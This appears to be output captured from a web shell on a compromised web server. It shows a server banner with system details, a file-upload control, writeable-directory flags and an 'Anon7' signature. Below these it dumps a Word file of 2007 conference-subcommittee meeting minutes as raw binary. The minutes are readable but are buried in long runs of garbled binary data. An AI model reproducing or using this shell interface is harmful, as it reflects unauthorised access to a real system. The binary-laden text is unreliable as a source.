KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/astrosfm/pmwiki/uploads/Main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/astrosfm/pmwiki/uploads/Main/Aug_07_Minutes.doc
��ࡱ�>��	AC����@�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#`	��bjbj��	..���������������������$�,��+2��������+
+
+
+
+
+
+$�,h&/�1+�J��JJ1+����F+���J�����+�J+����)h���*���	����D
�)+\+0�+*��/NL�/ �*�/��*D���:��������1+1+�����+JJJJ����|���|�������������Conference Administration Subcommittee
Summer 2007 Meeting Agenda

Members �

_______	Ken Chan
___X___	Vicki Coverstone
_______	Pini Gurfil
___X___	Felix Hoots
___X___	Kathie Howell
___X___	Kim Luu
_______	Daniel Mortari
___X___	Bo Naasz
___X___	Aaron Trask
___X___	Fred Pelletier
_______	Anil Rao
_______	Ralph Sandfry
___X___	Paul Schumacher
___X___	Matt Wilkins

Committee Charter has been finalized.  All should read and be familiar with duties.  Needs to be posted on web site � Felix Hoots

Status: Hoots to send charter to Matt Wilkins who will post on AstroWiki

Develop and maintain database of previous conferences statistics � Matt Wilkins

Status: Wilkins in process of determining database needs and assessing best option for data management.

Also need to set up area on web site for posting all materials for which this committee is responsible.

CAS Charter
Summer and Winter Hotel Requirements Document
General Chair Conference Planning Manual
AAS Led Conference Planning Schedule
Database of historical conference statistics

Status: Pelletier has set up AstroWiki.  This appears to satisfy our current requirements.

Review Summer and Winter Hotel requirements document draft.  Check statistics on past conferences and make sure room estimates are valid.  Discuss with previous general chairs and converge on final document � Aaron Trask
Status: Trask has completed review.  Will post on AstroWiki and send email to our subcommittee seeking comments.

Revise and maintain General Chair conference planning manual.  Discuss with previous general chairs and converge on final document � Kim Luu

Status: Luu will complete by 1 October and post for review and comment.

Review and finalize AAS Led Conference Planning Schedule.  Discuss with previous general chairs and converge on final document � Vicki Coverstone

Status: Coverstone will complete by 1 October and post for review and comment.

Lead support for conference registration and administration - Summer 2007 (Mackinac Island, MI) � Fred Pelletier

Status: Pelletier contacted chairs and offered help.  Committee members should sign up for time slots to help in registration.

Lead support for conference registration and administration - Winter 2008 (Galveston, TX) � Need volunteer

Status: Naasz will lead the effort and will contact general chairs to offer assistance.

Lead support for conference registration and administration - Winter 2009 (Savannah, GA) � Need volunteer

Status: Schumacher will lead the effort and will contact general chairs to offer assistance.

Refine details of Summer 2009 site options and make presentation for vote in August 2007 � Ken Chan

Make presentation of 3 site options to AAS committee and get vote.  This provides primary and backup option for final negotiations.
Report results to AIAA committee.

Status: Presentation was made and Pittsburgh was selected.  Chan will finalize contract with hotel and begin planning process.

Examine registration fee trends - develop budget guidelines � Kathie Howell, Felix Hoots

Status: Task just started.  No significant progress to report.

Exploration of winter 2010 locations � west � Volunteer needed

Need to get location suggestions from committee in Aug 2007 (+30 months)
Present for decision winter 2008 (+24 months)

Status: The following western sites were suggested.

	Palm Springs
	San Diego
	Monterey
	St George, Utah
	San Francisco
	Taos, New Mexico
	Santa Barbara
	Provo/Slat Lake City
	Guam
	Newport Beach

We need a volunteer to do initial research into these sites before the next conference.  The initial look confirms feasibility of locations � hotel with suitable capacity, meets Gov room rates, availability, etc.

Other items � We discussed the possible use of students to help in registration.  The suggestion was carried to the full committee for their inputs.  The general consensus is that waiving fees for student to help out complicates the planning process for general chairs.  It was recommended that we encourage students as well as those who may want to be future committee members to volunteer their assistance.

ABNV_bhx������������������			
		!	*	2	@	C	D	H	X	[	\	`	n	x		�	�	�	�	9
:
;
\
~
�
�
�
��������������������������������������������������ڶ����h�?Ah�^�B*phh�?Ah�?A5�B*phh�?AB*phh�^�h�^�B*phh�^�h��	h��5�	h�^�5�hAu0h�^�5�h�^�h�^�h��hAu0h�^�h�^�h�^�CJ$aJ$h�^�CJ$aJ$9'BCMN_x������		*	@	X	m	n	�	�	:
;
��������������������������^��gd�^���^��gdAu0$a$gd�^��;
�
�
�
�
]^j���opM
�
�
LM�����������������������gd��
&F
�h���^��gd�?Agd�?A�hd�7$8$H$^�hgd�?Ad�7$8$H$gd�?A
&Fd�7$8$H$gd�?A�
�
�
�
]&*nop�� 
A
L
M
�
�
�
#DKLM������'()wxy�����������ʽײײץ���߲ץ��߀�ײץ��߀�xkh��h��5�B*phh��B*phh�[�B*phh�^�B*phh�?A5�B*phh�?Ah�^�B*phh�?Ah�?A5�B*phh�^�h�^�B*phh��h��5�	h�[�5�	h��5�h��h�?Ah�?AB*phh�[�h�[�5�B*phh��5�B*phh�[�5�B*ph)�()xy��jk��/0����]^������������������d�7$8$H$gdAu0
&Fd�7$8$H$gd��d�7$8$H$gd��d�7$8$H$gd�[�d�7$8$H$gd�?A
&Fd�7$8$H$gd�^����ijk�����./0�������',3STV\]^����������ʿ첪��բ����բ���쿍��x�m����b�h��h��B*phhAu0hAu0B*phhAu05�B*phhAu0h�^�B*phh��h�^�5�B*phhAu0B*phh�[�B*phh�^�B*phh��h��5�B*phh�^�h�^�B*phh��h�[�B*phh�[�h�[�5�B*phh�[�5�B*phh��B*phh��h�^�B*ph&^�����^_���%/@��������������������d�7$8$H$gd2�d�7$8$H$gdAu0d�7$8$H$gd�[�
&Fd�7$8$H$gd��d�7$8$H$gd����d�7$8$H$^��gdAu0��DEJM]^_��
pqr
������ʽ�������~skc_h�?Ah�?AB*phh2�B*phh�^�h�^�B*phh2�h2�5�B*phh2�5�B*phhAu0hAu0B*phhAu0B*phhAu05�B*phhAu0h��B*phh��h��5�B*phh��B*phh��h��B*phh�[�h�[�5�B*phh�[�5�B*phh�[�h��B*ph@Oap����qr�����������gd�^�d�7$8$H$gd�^�d�7$8$H$gd2�,1�h��/ ��=!�"�#��$��%���������@@�@NormalCJ_HaJmH	sH	tH	DA@�DDefault Paragraph FontRi@�RTable Normal�4�
l4�a�(k@�(No List.����'BCMN_x������*@Xmn��:;����]^j���opM��LM��()xy��jk��/	0	�	�	�	�	]
^
�
����^_���


%
/
@
O
a
p
�
�
�
�
qr�0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0��� 0���0���0���0���0���@0��� 0��� 0��� 0��� 0��� 0���0���0���0��� 0���0���0��� 0���0���0���0��� 0���0���0���0��� 0���0���0���0��� 0���0���0���0��� 0���0���0���0��� 0���0���0���0���0���0���0��� 0���0���0���0��� 0	���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0��'BCMN_x�����*@Xmn:;��]^j���opM�L�(y�k�0	�	�	�q�0����0����0����0����0����0����0����0����0����0����0����0����0����0����0����0����0����0����0����0����0���� 0����0����0����0���� 0���� 0���� 0���� 0���� 0����0���� 0����0���� 0����0���� 0����0���� 0����0���� 0����0���� 0����0���� 0���0���� 0���� 0	�����00��
��
;
�^@���d�#�d�#���#�d�#�$�#���#�$�#���#���#�\�����d�l�D�p���#���p���n��#���#�o�Oh�Į#�ı#������#�t�#���r�d��d��� d��/X	��/X	������{	{	�	''





&
&
3
3
;
A
A
P
P
V
b
b
|
�
�
�
	

�������	�	�	11

$
$
.
.
9
?
?
N
N
T
`
`
o
o
�
�
�
�
	

9*�urn:schemas-microsoft-com:office:smarttags�place�8*�urn:schemas-microsoft-com:office:smarttags�City�9*�urn:schemas-microsoft-com:office:smarttags�State���mw�����������&)8?091:GLUZ�HKUX'1;���	�����pr
�	�,�
H�b����������O�>�d����������YI��d@���������|�X
�����������F�{�*����������h�h����h^�h`���OJQJo(�h�H���h�8����8^�8`���OJQJ^Jo(�h�Ho�h�����^�`���OJQJo(�h�H���h��	�����	^��	`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�x����x^�x`���OJQJo(�h�H���h�H����H^�H`���OJQJo(�h�H���h�����^�`���OJQJ^Jo(�h�Ho�h�������^��`���OJQJo(�h�H���h����h^�h`���o(.�
�8����8^�8`����h�H.�
��L��^�`�L��h�H.�
��	�����	^��	`����h�H.�
�������^��`����h�H.�
�x�L��x^�x`�L��h�H.�
�H����H^�H`����h�H.�
�����^�`����h�H.�
���L���^��`�L��h�H.h
�������^��`���o(�h�H.�
�������^��`����h�H.�
�p�L��p^�p`�L��h�H.�
�@����@^�@`����h�H.�
�����^�`����h�H.�
���L���^��`�L��h�H.�
�������^��`����h�H.�
�������^��`����h�H.�
�P�L��P^�P`�L��h�H.h
�������^��`����h�H.�h
�������^��`����h�H.�h
�p�L��p^�p`�L��h�H.�h
�@����@^�@`����h�H.�h
�����^�`����h�H.�h
���L���^��`�L��h�H.�h
�������^��`����h�H.�h
�������^��`����h�H.�h
�P�L��P^�P`�L��h�H.h
�������^��`����h�H.�h
�������^��`����h�H.�h
�p�L��p^�p`�L��h�H.�h
�@����@^�@`����h�H.�h
�����^�`����h�H.�h
���L���^��`�L��h�H.�h
�������^��`����h�H.�h
�������^��`����h�H.�h
�P�L��P^�P`�L��h�H.�,�
|�X�YI�F�{�O�>������������������������																																													�
Au0�F?�?ALnC�^����E��[���2��d��@�

�6-

`@��Unknown������������G��z ��Times New Roman5��Symbol3&��z ��Arial?5�	�z ��Courier New;��Wingdings"q���h@�F@�Fe�
e�
!������r42�Q�HP)�?�����������������������^�2��&Conference Administration Subcommitteefh27377fh27377 ����Oh��+'��0��������	 ,
LX
dpx���(Conference Administration Subcommitteefh27377Normal.dotfh273772Microsoft Office Word@�Ik@h�����@h�����e�
����՜.��+,��0(hp��������
��The Aerospace Corporation�'Conference Administration SubcommitteeTitle	

���� !"#$%&'()*+,-./����1234567����9:;<=>?��������B��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry��������	�F�A�	���D�1Table���������/WordDocument��������..SummaryInformation(����0DocumentSummaryInformation8������������8CompObj������������q������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�FMicrosoft Office Word Document
MSWordDocWord.Document.8�9�q

Anon7 - 2021